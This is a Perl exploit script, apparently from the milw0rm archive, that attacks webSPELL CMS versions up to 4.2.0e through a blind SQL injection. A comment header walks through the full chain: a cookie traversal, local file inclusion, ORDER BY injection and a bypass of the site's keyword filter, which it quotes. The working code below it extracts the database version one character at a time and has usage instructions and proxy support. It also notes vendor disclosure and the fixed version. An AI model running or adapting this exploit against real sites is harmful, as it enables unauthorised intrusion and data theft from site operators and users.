#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Long;

#                           \#'#/
#                           (-.-)
#    ------------------oOO---(_)---OOo-----------------
#    |          __             __                     |
#    |    _____/ /_____ ______/ /_  __  ______ ______ |
#    |   / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ |
#    |  (__  ) /_/ /_/ / /  / /_/ / /_/ / /_/ (__  )  |
#    | /____/\__/\__,_/_/  /_.___/\__,_/\__, /____/   |
#    | Security Research Division      /____/ 2oo9    |
#    --------------------------------------------------
#    |    webSPELL <= v4.2.0e Blind SQL Injection     |
#    --------------------------------------------------
# [!] Discovered.: DNX
# [!] Vendor.....: http://www.webspell.org
# [!] Detected...: 26.04.2009
# [!] Reported...: 02.05.2009
# [!] Response...: 02.05.2009
#
# [!] Background.: webSPELL is a free Content Management System (CMS) for clans and gaming
#                  communities, providing all needed features like forums, gallery, clanwar
#                  system ...
#
# [!] Bug........: First of all i have to say the bug is a little bit tricky because it is
#                  a mix of cookie injection, lfi, blind sql injection and a few bypasses of
#                  security functions in this application.
#
# [!] Cookie Inj.: Let's start with the cookie injection. In _functions.php near line 337 we
#                  find something like this:
#
#                  335: if($loggedin == false) {
#                  336:         if(isset($_COOKIE['language'])) {
#                  337:                 $_language->set_language($_COOKIE['language']);
#                  338:         }
#
#
#                  The function set_language() is in src/func/language.php near line 34:
#
#                  31: var $language_path = 'languages/';
#
#                  34: function set_language($to) {
#                  35: 
#                  36:         if(is_dir($this->language_path.$to)) {
#                  37:                 $this->language = $to;
#                  38:                 return true;
#                  39:         } else return false;
#                  40:
#                  41: }
#
#                  We have to create a new cookie 'language' with the value '..' and set
#                  with it $this->language to 'languages/..' which is very important.
#
#
# [!] LFI........: In getlang.php near line 40:
#
#                  32: if(isset($_GET['modul'])) $modul = $_GET['modul'];
#                  33: else $modul = null;
#
#                  39: if(!is_null($modul)){
#                  40:         $_language->read_module($modul);
#
#
#                  The function read_module() is in src/func/language.php near line 43:
#
#                  43: function read_module($module, $add=false) {
#                  44:
#                  45:         global $default_language;
#                  46:
#                  47:         if(file_exists($this->language_path.$this->language.'/'.$module.'.php')) $module_file = $this->language_path.$this->language.'/'.$module.'.php';
#                  48:         elseif(file_exists($this->language_path.$default_language.'/'.$module.'.php')) $module_file = $this->language_path.$default_language.'/'.$module.'.php';
#                  49:         elseif(file_exists($this->language_path.'uk/'.$module.'.php')) $module_file = $this->language_path.'uk/'.$module.'.php'; // UK as worst case
#                  50:
#                  51:         if(isset($module_file)) {
#                  52:                 include($module_file);
#
#                  Now, we can include all *.php files with getlang.php?modul=pathtophpfile
#                  (example: getlang.php?modul=awards)
#                  Only php files otherwise you have to bypass mysql_real_escape_string() and
#                  set %00 nullbyte.
#
#
# [!] SQL Inject.: In awards.php near line 273:
#
#                  250: else {
#                  251:         $page = (isset($_GET['page'])) ? $_GET['page'] : 1;
#                  252:         $sort = (isset($_GET['page'])) ? $_GET['page'] : "date";
#                  253:         $type = (isset($_GET['type'])) ? $_GET['type'] : "DESC";
#
#                  271:         else {
#                  272:                 $start=$page*$max-$max;
#                  273:                 $ergebnis = safe_query("SELECT * FROM ".PREFIX."awards ORDER BY $sort $type LIMIT $start,$max");
#
#                  Why we choose awards.php? As you can see in awards.php we don't have to
#                  bypass slashes in the sql query ($sort and $type) and there is only an 
#                  isset() check on these parameters.
#
#
#                  There is also a check on _SERVER['QUERY_STRING'] we have to bypass. Let's
#                  take a look at this function in _settings.php near line 71:
#
#                  71: if(isset($_GET['site'])) $site=$_GET['site'];
#                  72: else $site= null;
#                  73: if($site!="search") {
#                  74:         $request=strtolower(urldecode($_SERVER['QUERY_STRING']));
#                  75:         $protarray=array("union","select","into","where","update ","from","/*","set ",PREFIX."user ",PREFIX."user(",PREFIX."user`",PREFIX."user_groups","phpinfo",
#                  76:         "escapeshellarg","exec","fopen","fwrite","escapeshellcmd","passthru","proc_close","proc_get_status","proc_nice",
#                  77:         "proc_open","proc_terminate","shell_exec","system","telnet","ssh","cmd","mv","chmod","chdir","locate","killall",
#                  78:         "passwd","kill","script","bash","perl","mysql","~root",".history","~nobody","getenv"
#                  79:         );
#                  80:         $check=str_replace($protarray, '*', $request);
#                  81:         if($request != $check) system_error("Invalid request detected.");
#                  82: }
#
#                  Looks hard to bypass? Not really ;) We easily add '&site=search' in our
#                  injection to skip this interesting part.
#
#                  For a successful injection over awards.php we need at least 2 awards in
#                  the output. This belongs to the injection and regular expression which
#                  I used in the poc exploit.
#
# [!] Solution...: Upgrade to version 4.2.0f
#

if(!$ARGV[1])
{
  print "\n                          \\#'#/                      ";
  print "\n                          (-.-)                       ";
  print "\n   ------------------oOO---(_)---OOo------------------";
  print "\n   | webSPELL <= v4.2.0e Blind SQL Injection Exploit |";
  print "\n   |                  coded by DNX                   |";
  print "\n   ---------------------------------------------------";
  print "\n[!] Usage: perl webspell.pl [Host] [Path] <Options>";
  print "\n[!] Example: perl webspell.pl 127.0.0.1 /webspell";
  print "\n[!] Options:";
  print "\n       -p [ip:port]    Proxy support";
  print "\n";
  exit;
}

my %options = ();
GetOptions(\%options, "p=s");
my $ua      = LWP::UserAgent->new();
my $cookie  = HTTP::Cookies->new();
my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $target  = "http://".$host.$path;

$cookie->set_cookie(undef, "language", "..", $path, $host);
$ua->cookie_jar($cookie);

if($options{"p"})
{
  $ua->proxy('http', "http://".$options{"p"});
}

print "[!] Exploiting...\n";

get_sql_version();

print "\n[!] Exploit done\n";

sub get_sql_version
{
  syswrite(STDOUT, "[!] Get SQL Version: ", 21);
  for(my $i = 1; $i <= 32; $i++)
  {
    my $found = 0;
    my $h = 32;
    while(!$found && $h <= 126)
    {
      if(exploit($i, $h))
      {
        $found = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }  
}

sub exploit
{
  my $i   = shift;
  my $h   = shift;
  my $url = $target."/getlang.php?modul=awards&page=(select case when (substring((select version()),".$i.",1)=CHAR(".$h.")) then awardID else NULL end)=1 -- &site=search";
  my $res = $ua->get($url);
  $res->content =~ /;awardID=(.*?)">.*?;awardID=(.*?)">/s;
  if($1 > $2)
  {
    return 1;
  }
  else
  {
    return 0;
  }
}

# milw0rm.com [2009-05-07]
